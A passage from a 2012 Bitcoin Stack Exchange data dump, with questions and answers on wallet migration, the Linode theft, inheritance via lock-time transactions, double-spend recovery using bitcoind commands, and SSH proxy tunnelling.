  <row Id="3632" PostTypeId="2" ParentId="3629" CreationDate="2012-05-11T00:39:09.813" Score="8" Body="&lt;p&gt;The &quot;Linode problem&quot; is storing Bitcoins on a managed device.  That managed device might be &lt;a href=&quot;http://bitcoinmagazine.net/the-bitcoinica-linode-theft-and-what-it-means-for-bitcoin/&quot; rel=&quot;nofollow noreferrer&quot;&gt;server hosting&lt;/a&gt; from Linode, for example, or a &lt;a href=&quot;https://bitcointalk.org/index.php?topic=81045.msg910403#msg910403&quot; rel=&quot;nofollow noreferrer&quot;&gt;cloud server at RackSpace&lt;/a&gt; for another example.  In both instances, by simply gaining root access using the service provider's systems, tens of thousands of bitcoins were stolen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The incident in which the &quot;Linode problem&quot; term was coined, more than 46K BTC were stolen in a security breach at Linode, including 43K from Bitcoinica's wallet alone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Linode hasn't disclosed the exact scenario but it is believed that an employee's system was compromised remotely and that system had access to a back door that allowed administrative access to every Linode host.  With administrative access. wallet.dat's are vulnerable.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://arstechnica.com/business/2012/03/bitcoins-worth-228000-stolen-from-customers-of-hacked-webhost/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://arstechnica.com/business/2012/03/bitcoins-worth-228000-stolen-from-customers-of-hacked-webhost/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://bitcoinmagazine.net/the-bitcoinica-linode-theft-and-what-it-means-for-bitcoin/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://bitcoinmagazine.net/the-bitcoinica-linode-theft-and-what-it-means-for-bitcoin/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;There are all sorts of managed systems.  Most enterprise computing systems have administrative access for not only their systems in their data center but also for managing their employee's devices.  This might allow a thief, or rogue employee or contractor even to gain access to Bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/3383&quot;&gt;mobile devices could be totally vulnerable&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2012-05-20T18:32:56.200" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3633" PostTypeId="1" CreationDate="2012-05-11T04:25:51.330" Score="8" ViewCount="8382" Body="&lt;p&gt;I have a client/wallet on a work machine of which I cannot control the proxy and allow the client to synchronise properly. Before I knew this however, I sent coins to the wallet. How do migrate this wallet to my home machine, so I can receive the transaction?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using &lt;a href=&quot;https://en.bitcoin.it/wiki/Bitcoin-Qt&quot; rel=&quot;nofollow&quot;&gt;Bitcoin-Qt&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1354" LastEditorUserId="1405" LastEditDate="2014-01-13T20:32:29.890" LastActivityDate="2014-01-13T20:32:29.890" Title="How do I move a client/wallet to a different machine?" Tags="|client|wallet|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3634" PostTypeId="2" ParentId="3633" CreationDate="2012-05-11T07:00:41.120" Score="5" Body="&lt;p&gt;Copy the wallet.dat onto another machine, put it in &lt;a href=&quot;https://en.bitcoin.it/wiki/Data_directory&quot; rel=&quot;noreferrer&quot;&gt;the appropriate folder&lt;/a&gt; and either sync your Bitcoin from the Genesis Block with the network, or run it with &lt;code&gt;-rescan&lt;/code&gt; &lt;a href=&quot;https://en.bitcoin.it/wiki/Running_Bitcoin&quot; rel=&quot;noreferrer&quot;&gt;option&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-05-11T07:00:41.120" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3635" PostTypeId="2" ParentId="3630" CreationDate="2012-05-11T12:58:12.187" Score="1" Body="&lt;p&gt;If a pool makes a payout, the mechanism that performs the payout must have use of a private key. Therefore I don't believe there can be any secret to securing this private key beyond good operational security best practises. This would include operating with a minimum of &quot;cash-on-premises&quot;, so the wallet used by the payout mechanism would only have enough BTC to cover payouts for the next few days, relying on refills performed by an entirely separate, manual process.&lt;/p&gt;&#xA;" OwnerUserId="409" LastActivityDate="2012-05-11T12:58:12.187" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3637" PostTypeId="2" ParentId="3359" CreationDate="2012-05-11T13:19:31.350" Score="3" Body="&lt;p&gt;It's up to you what you want to happen with your bitcoins when you die. The bitcoins are in the possession of whomever has the wallet and the passphrase needed for it. If you want someone else to inherit your bitcoins, you need to arrange for a way for them to obtain the wallet and passphrase. Perhaps a safety deposit box containing the password or a memory stick containing the wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bear in mind though that a backup of the wallet will only contain 100 future addresses. If you perform more transactions than that since the backup was taken, they won't be stored on the memory stick unless you ensure you send your bitcoins only to addresses that will have existed when the wallet was backed up.&lt;/p&gt;&#xA;" OwnerUserId="1221" LastActivityDate="2012-05-11T13:19:31.350" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3638" PostTypeId="2" ParentId="1583" CreationDate="2012-05-11T15:48:54.943" Score="0" Body="&lt;p&gt;Although the idea of having 10 guardians sounds good in theory, in practice this is probably not the case, with it being one person controlling the 10 millionaire accounts. This person also has the ability to hold all solidcoin owners to ransom, as they can effectively shut down the network, unlike bitcoin, where anyone can mine, solidcoin is dependant on the millionaire accounts to mine every other block. If they shut down (which, being controlled by one person, they could easily), then the network shuts down, and everyone loses access to their bitcoins. In fact, with solidcoin, this has already happened once so far. It's a nice idea, and sometimes a nice idea is all that some people need to make an investment, whereas others (myself included) prefer to do a little risk assessment also. Those people, I suspect, don't own any solidcoins.&lt;/p&gt;&#xA;" OwnerUserId="1221" LastActivityDate="2012-05-11T15:48:54.943" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3639" PostTypeId="2" ParentId="3624" CreationDate="2012-05-11T17:09:32.380" Score="3" Body="&lt;p&gt;I think the closest thing is the bitcoin mining hardware comparison:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Mining_hardware_comparison&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Mining_hardware_comparison&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Miners have different performance with different hardware architectures, so which miner is fastest for you depends on which hardware you have (AMD GCN/VLIW4/VLIW5, NVIDIA, different FPGAs).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It might be an idea to start a wiki page for a mining software comparison. Alternatively, adding more measurements on the hardware page could do the same thing (but might bloat the page a bit).&lt;/p&gt;&#xA;" OwnerUserId="141" LastActivityDate="2012-05-11T17:09:32.380" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3640" PostTypeId="2" ParentId="3617" CreationDate="2012-05-11T17:36:28.290" Score="2" Body="&lt;p&gt;Obviously blockchain.info has such a list, but I don't think the complete list is available anywhere. I guess you could get some entries from the &lt;a href=&quot;https://bitcointalk.org/index.php?topic=40264.0&quot; rel=&quot;nofollow&quot;&gt;blockchain.info thread on bitcointalk&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="141" LastActivityDate="2012-05-11T17:36:28.290" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3641" PostTypeId="2" ParentId="3359" CreationDate="2012-05-11T20:51:41.223" Score="4" Body="&lt;p&gt;You can set up a transaction/contract that would express your will to transfer specific bitcoins to another person:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Contracts#Example_4%3a_Using_external_state&quot; rel=&quot;nofollow&quot;&gt;Contracts. Example 4: Using external state&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Scripts are, by design, pure functions. They cannot poll external&#xA;  servers or import any state that may change as it would allow an&#xA;  attacker to outrun the block chain. But we can make transactions&#xA;  connected to the world in other ways.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Consider the example of an old man who wishes to give an inheritance&#xA;  to his grandson, either &lt;strong&gt;on the grandson's 18th birthday&lt;/strong&gt; or &lt;strong&gt;when the&#xA;  man dies&lt;/strong&gt;, whichever comes first.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;To solve this, the man first sends the amount of the inheritance to&#xA;  himself so there is a single output of the right amount. Then he&#xA;  creates a transaction with a lock time of the grandson's 18th birthday&#xA;  that pays the coins to another key owned by the grandson, signs it,&#xA;  and gives it to him - but does not broadcast it. &lt;strong&gt;This takes care of&#xA;  the 18th birthday condition.&lt;/strong&gt; If the date passes, the grandson&#xA;  broadcasts the transaction and claims the coins. He could do it before&#xA;  then, but it doesn't let him get the coins any earlier, and some nodes&#xA;  may choose to drop transactions in the memory pool with lock times far&#xA;  in the future.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;The death condition is harder.&lt;/strong&gt; As Bitcoin nodes cannot measure&#xA;  arbitrary conditions, we must rely on an &lt;strong&gt;oracle&lt;/strong&gt;. An oracle is a server&#xA;  that has a keypair, and signs transactions on request when a&#xA;  user-provided expression evaluates to true.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Contracts#Example_4%3a_Using_external_state&quot; rel=&quot;nofollow&quot;&gt;...&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I'm not sure whether this mechanism is flexible enough to be used if you are not certain which amount should be transferred or from which address (because you may want to perform some operations with the bitcoins after you have set up the &quot;inheritance transaction&quot;; perhaps, you can simply generate and store such a transaction every time the amount or the address changes).&lt;/p&gt;&#xA;" OwnerUserId="817" LastEditorUserId="817" LastEditDate="2012-05-11T21:07:31.733" LastActivityDate="2012-05-11T21:07:31.733" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3642" PostTypeId="1" AcceptedAnswerId="3719" CreationDate="2012-05-11T23:07:59.803" Score="2" ViewCount="835" Body="&lt;p&gt;What are the most notable cases of coins or wallets being stolen from Bitcoin users or services? When did they occur, how many coins were stolen and has any of the thieves been identified?&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-08-03T16:00:41.400" Title="What are the most notable cases of coins or wallet thefts?" Tags="|security|wallet|history|theft|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3643" PostTypeId="2" ParentId="3605" CreationDate="2012-05-12T00:49:04.147" Score="0" Body="&lt;p&gt;The SourceForge link currently on bitcoin.org points to the 0.6.2 version.  Surgically insert &quot;.2&quot; to get a link to the fixed version:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://sourceforge.net/projects/bitcoin/files/Bitcoin/bitcoin-0.6.2.2/&quot; rel=&quot;nofollow&quot;&gt;http://sourceforge.net/projects/bitcoin/files/Bitcoin/bitcoin-0.6.2.2/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do not use this link if a newer release is available!&lt;/p&gt;&#xA;" OwnerUserId="1343" LastActivityDate="2012-05-12T00:49:04.147" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3644" PostTypeId="1" AcceptedAnswerId="3649" CreationDate="2012-05-12T11:18:09.763" Score="14" ViewCount="2852" Body="&lt;p&gt;When I first heard of namecoin an address costed 50 NMC, now they are priced 0.01 NMC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This means they are as much as free, and the only thing preventing someone from just brute-force registering tons of them is... that it is pointless to do so, because due to this problem itself, namecoin is essentially a worthless project.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using a bitcoin-like currency to handle DNS was a nice idea at first, and I have no clue about what could have caused them to mishandle the design so much.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Question is, did they state somewhere the reasons behind this apparently foolish decision to set the registration prices to &quot;basically free&quot; after a little while? Didn't anyone point out how stupid that idea was?&lt;/p&gt;&#xA;" OwnerUserId="196" LastActivityDate="2015-08-27T17:13:00.883" Title="Namecoin: is there any rationale behind the (apparently foolish) choice of having the domains cost an irrelevant price?" Tags="|namecoin|" AnswerCount="6" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3645" PostTypeId="1" AcceptedAnswerId="3648" CreationDate="2012-05-12T11:48:53.943" Score="4" ViewCount="475" Body="&lt;p&gt;I'm asking about legal concerns, not technological ones. If I'm based in the USA, should the exchange be a US company? If not, where should it be based? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How is banking set up? &lt;/p&gt;&#xA;" OwnerUserId="1151" LastActivityDate="2023-07-04T07:06:07.993" Title="How do I legally set up an exchange?" Tags="|exchanges|legal|" AnswerCount="1" CommentCount="2" ClosedDate="2023-07-10T22:44:45.973" ContentLicense="CC BY-SA 3.0" />
  <row Id="3646" PostTypeId="1" CreationDate="2012-05-12T13:03:28.283" Score="3" ViewCount="1744" Body="&lt;p&gt;Just asking. Say, I want to switch BTC to USD inside &lt;a href=&quot;http://store.steampowered.com/&quot; rel=&quot;nofollow&quot;&gt;Steam&lt;/a&gt; Wallet. Is it possible?&lt;/p&gt;&#xA;" OwnerUserId="1359" LastEditorUserId="51948" LastEditDate="2017-12-24T03:18:03.073" LastActivityDate="2017-12-24T03:18:03.073" Title="Can I convert BTC to USD without a bank account?" Tags="|exchanges|sell-bitcoins|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3647" PostTypeId="2" ParentId="3646" CreationDate="2012-05-12T13:13:37.130" Score="4" Body="&lt;p&gt;To my knowledge, Steam does not support BTC (at least yet). Moreover, Steam does not allow one to send another user &lt;a href=&quot;http://forums.steampowered.com/forums/showthread.php?t=2480671&quot; rel=&quot;nofollow&quot;&gt;money transfers&lt;/a&gt;, so you can't really exchange your funds with other people. You could, however, purchase a game gift for another person and sell that gift for Bitcoins, but that &lt;a href=&quot;http://forums.steampowered.com/forums/showthread.php?t=1619205&quot; rel=&quot;nofollow&quot;&gt;would probably be against Steam's policy&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you generally want to exchange Bitcoins for any currency without having a bank account, you could always try finding another user that also wants to trade like that and exchange money with them, either in person or through services like Western Union. This way however, is less reliable than using a Bitcoin exchange.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-05-12T13:13:37.130" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3648" PostTypeId="2" ParentId="3645" CreationDate="2012-05-12T13:17:16.580" Score="7" Body="&lt;p&gt;I don't think StackExchange is the best place to ask for legal advice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Logically, one would set up a company, get a business bank account and start their operations. However, it is very advisable to consult a lawyer first, as there are some legal concerns one should keep in mind, like &lt;a href=&quot;http://en.wikipedia.org/wiki/Money_laundering#United_States&quot;&gt;the money laundering regulations&lt;/a&gt; that one should adhere to.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-05-12T13:17:16.580" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3649" PostTypeId="2" ParentId="3644" CreationDate="2012-05-12T13:23:27.290" Score="3" Body="&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/q/2411/323&quot;&gt;A question&lt;/a&gt; concerning a similar problem has been asked awhile ago. Researching &lt;a href=&quot;https://bitcoin.stackexchange.com/a/2480/323&quot;&gt;an answer for it&lt;/a&gt;, I couldn't find any justification for the imbalance of Namecoin domain price versus reward, nor did anyone from the &lt;a href=&quot;http://dot-bit.org/forum/viewtopic.php?t=444&quot; rel=&quot;nofollow noreferrer&quot;&gt;Dot-bit forum&lt;/a&gt; mane any statement about the situation.&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2012-05-12T13:23:27.290" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3650" PostTypeId="2" ParentId="3614" CreationDate="2012-05-12T14:28:49.643" Score="0" Body="&lt;p&gt;You might want to try Silk Road, there you can buy/sell Bitcoin, among other things.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not sure about the rates, though.&lt;/p&gt;&#xA;" OwnerUserId="1360" LastActivityDate="2012-05-12T14:28:49.643" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3651" PostTypeId="2" ParentId="2459" CreationDate="2012-05-12T16:31:30.650" Score="7" Body="&lt;p&gt;Hawala (sometimes referred to as hundi) involves a trust relationship between the two hawaldars.  The hawalder who receives the funds (in Minneapolis, for example) is a trusted partner to the other hawalder who disburses the funds (in Somalia, for example).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With Bitcoin, this relationship between hawalders becomes unnecessary. These hawalders simply become exchangers operating independently.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are plenty of methods in which bitcoins can be acquired by the person wishing to send money, so the remaining gap is finding an exchanger who will trade shillings, dollars, euro or whatever for bitcoins within Somalia, for example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin is uniquely positioned to make this possible however, due to its properties where transactions are non-reversible, extremely low in cost (transaction fees), and where funds become available for spending right away (in about an hour, for example).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This makes it possible for a network of individuals to do the grunt work function where the exchange involves transaction sizes as low as $20 worth of bitcoins, for example.  With transaction fees being trivially low, small, independent exchangers can trade bitcoins with each other for immediate needs but when the supply of shillings, dollars and euro needs to be replenished they can trade with slightly larger exchanges.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Those larger exchanges would then trade bitcoins either directly or indirectly with Bitcoin exchanges that interact with banks or with parties that essentially offer these banking services.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When bitcoins then are seen as something with value because they can easily and inexpensively be cashed out, on demand, they might then start being used for trade alongside shillings, dollars and euro.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And that is where things start to become interesting.&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2012-05-16T03:11:33.353" LastActivityDate="2012-05-16T03:11:33.353" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="3652" PostTypeId="2" ParentId="3646" CreationDate="2012-05-12T18:33:47.907" Score="2" Body="&lt;p&gt;Bitcoin itself is detached from any other money system. Any form of &quot;converting&quot; BTC to other currencies is basically an agreement with another person in which you send them bitcoins, and in return they send you some other currency using a method you specify. So the answer to your question depends solely on which kinds of agreement you manage to reach with other people.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin exchanges are basically an organized way to make such agreements, and getting your funds depends on the withdrawal methods offered by the exchange. Some of the offered methods do not require a bank account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The question about Steam Wallet is more about Steam Wallet than about Bitcoin, and the answer depends on the technical and contractual feasibility of transferring funds to another person's Steam Wallet. According to ThePiachu's answer, this is impossible.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2012-05-12T18:33:47.907" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3653" PostTypeId="1" CreationDate="2012-05-13T14:59:15.113" Score="5" ViewCount="2655" Body="&lt;p&gt;I am on Windows machine on a network that is closed for all incoming packets and outgoing packets only work for port 80.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the network I have access to a Linux via SSH that is open for in and out access.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to run the wallet client Bitcoin-QT on the restricted Windows machine, I setup a tunnel using D9050 to the open Linux and then I told Bitcoin-QT that there is socks proxy on localhost port 9050.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The client runs and starts to show connections (which is doesn't show without the tunnel) but it doesn't start downloading the block chain :(&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Help ?&lt;/p&gt;&#xA;" OwnerUserId="591" LastEditorUserId="323" LastEditDate="2012-05-13T15:51:19.053" LastActivityDate="2013-04-10T00:29:40.863" Title="How can I run Bitcoin-QT client behind a restrictive firewall using a putty tunnel?" Tags="|client|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3654" PostTypeId="1" CreationDate="2012-05-13T20:38:34.597" Score="8" ViewCount="4632" Body="&lt;p&gt;Came across an issue where I was given the message:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Error: The transaction was rejected.  This might happen if some of the coins in your wallet were already spent, such as if you used a copy of wallet.dat and coins were spent in the copy but not marked as spent here.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It appears that the 2nd amount was deducted from my total balance even though it still sits at 0/unconfirmed status days later even though the unconfirmed transaction has disappeared from the blockchain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions?  I've also installed Python and tried running a script provided by someone else (within Windows 7) and cannot seem to get the script to run properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="1362" LastEditorUserId="516" LastEditDate="2012-06-19T07:29:36.580" LastActivityDate="2016-08-19T14:12:01.970" Title="What is the best way to recover from an accidental double-spend?" Tags="|wallet|doublespend|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3655" PostTypeId="1" CreationDate="2012-05-13T21:20:21.457" Score="1" ViewCount="935" Body="&lt;p&gt;I have had bitcoin for a little bit now.  It has been going very smoothly.  I have set up 3 accounts for various activities, privacy, and security reasons.  I now can not get all of the block chain.  When I go to download more of the block chain it just sits at 175408.  I have been at it for hours.  When I first got bitcoin it worked perfectly, but now even after reinstalling the bas*&lt;em&gt;*&lt;/em&gt; it is still stuck there, and my total connections went from eight to a one.  If anybody has any suggestions on to what the problem could be I would be grateful.&lt;/p&gt;&#xA;" OwnerUserId="1363" LastEditorUserId="5406" LastEditDate="2017-06-17T23:10:16.313" LastActivityDate="2017-06-17T23:10:16.313" Title="Bitcoin client only has 1 connection?" Tags="|blockchain|bitcoin-core|synchronization|connection|" AnswerCount="2" CommentCount="3" ClosedDate="2017-06-17T23:10:38.773" ContentLicense="CC BY-SA 3.0" />
  <row Id="3656" PostTypeId="2" ParentId="3655" CreationDate="2012-05-13T22:37:48.853" Score="3" Body="&lt;p&gt;Maybe the client is having a hard time finding peers.  If you close it and remove the addr.dat then restart, it will go through the dnsseed process again.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://en.bitcoin.it/wiki/Data_directory&quot; rel=&quot;nofollow&quot;&gt;http://en.bitcoin.it/wiki/Data_directory&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-05-13T22:37:48.853" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3657" PostTypeId="2" ParentId="3654" CreationDate="2012-05-13T23:58:33.650" Score="4" Body="&lt;p&gt;Apparently to get the RPC command &lt;code&gt;removeprivkey&lt;/code&gt; you'll need a build of the Bitcoin client which includes pull #220 (which has been merged into main).  The latest version (currently &lt;a href=&quot;https://bitcoin.org/en/download&quot; rel=&quot;nofollow&quot;&gt;v0.12.1&lt;/a&gt;) contains this feature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are the instructions to do that:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Step 1. Back up your wallet.  You are performing wallet surgery here, ... and doing things you might not have intended.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Run Bitcoin as a server, e.g.,&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;$ ./bitcoin-qt -server&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Then &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you've encrypted your wallet you'll need to open it for RPC&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;$ ./bitcoind walletpassphrase [passphrase] 1000&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Then&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;$ ./bitcoind dumpprivkey [bitcoin address]&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Then copy and paste the private key it provides.&#xA;Then&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;$ ./bitcoind removeprivkey [bitcoin private key]&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Then close bitcoin-qt.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After that&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;$ ./bitcoind -rescan&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="153" LastEditorUserId="38618" LastEditDate="2016-08-19T14:12:01.970" LastActivityDate="2016-08-19T14:12:01.970" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3658" PostTypeId="2" ParentId="3654" CreationDate="2012-05-14T00:10:08.783" Score="0" Body="&lt;p&gt;You could simply send your coins to a new wallet and abandon this one which now has a perennial 0/unconfirmed transaction in it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[Edit: Though there still could be some funds locked up due to the double spend. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;PyWallet can be used to remove all transactions and then rescan, which would cause any funds that might have been locked up in th eunconfirmed transactions to reappear and be available for spending.]&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2012-09-09T19:04:18.867" LastActivityDate="2012-09-09T19:04:18.867" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3659" PostTypeId="2" ParentId="3653" CreationDate="2012-05-14T00:35:43.130" Score="2" Body="&lt;p&gt;The easiest way to make this work would be to install cygwin on your windows machine, specifically ssh client package.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then from a cygwin shell, run ssh -D 8080 user@linuxHost.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you can point the qt client to localhost:8080 as the socks proxy. &lt;/p&gt;&#xA;" OwnerUserId="1364" LastActivityDate="2012-05-14T00:35:43.130" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3660" PostTypeId="2" ParentId="3655" CreationDate="2012-05-14T00:42:05.697" Score="0" Body="&lt;p&gt;This question has been asked a few times before:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/q/2124/659&quot;&gt;I didn&amp;#39;t receive a Bitcoin Payment. What does it mean when the Client is synchronizing?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/q/2979/659&quot;&gt;What can I do when the blockchain synchronization is stuck at a specific block?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/q/3486/659&quot;&gt;Bitcoin client 0.4.1.1 stuck at block 176947&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Is there anything in the answers of those that helps?&lt;/p&gt;&#xA;" OwnerUserId="659" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.743" LastActivityDate="2012-05-14T00:42:05.697" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3661" PostTypeId="2" ParentId="3608" CreationDate="2012-05-14T02:52:25.923" Score="4" Body="&lt;p&gt;&lt;a href=&quot;http://eligius.st/wiki/index.php/FAQ#Can_I_mine_over_Tor.3F&quot; rel=&quot;nofollow&quot;&gt;Eligius has a hidden service for Tor mining.&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="942" LastActivityDate="2012-05-14T02:52:25.923" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3662" PostTypeId="2" ParentId="1166" CreationDate="2012-05-14T05:49:37.487" Score="1" Body="&lt;p&gt;as of this writing there is only one site to play bitcoin poker on, and that's sealswithclubs.eu - they have games running almost all the time / very fast cashouts / no contest&lt;/p&gt;&#xA;" OwnerUserId="1367" LastActivityDate="2012-05-14T05:49:37.487" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3663" PostTypeId="1" AcceptedAnswerId="3667" CreationDate="2012-05-14T08:32:14.553" Score="15" ViewCount="11104" Body="&lt;p&gt;I didn't study the inner workings of Bitcoin (yet), but already since when I just started using it, I wondered &lt;strong&gt;why a Bitcoin can be split up in parts&lt;/strong&gt;.&#xA;Because there is a limit on the amount of Bitcoin that can be mined ever, fractioning Bitcoins is a huge advantage, especially if it's popularity increases.&#xA;&lt;em&gt;Is there a limit on splitting Bitcoins into pieces?&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;br&gt;&#xA;I just found in this answer that BTC has a maximum of 8 decimals. Is it a good assumption then that every &quot;BTC&quot; consists of 10^8 smaller parts? So every block does not consist of 50 1-BTC parts, but 50*10^8 smaller parts?&lt;/p&gt;&#xA;" OwnerUserId="1307" LastEditorUserId="323" LastEditDate="2012-05-25T00:58:12.403" LastActivityDate="2013-12-17T02:59:37.623" Title="Why can we have small fractions of a Bitcoin?" Tags="|protocol|block|satoshi|money|divisibility|" 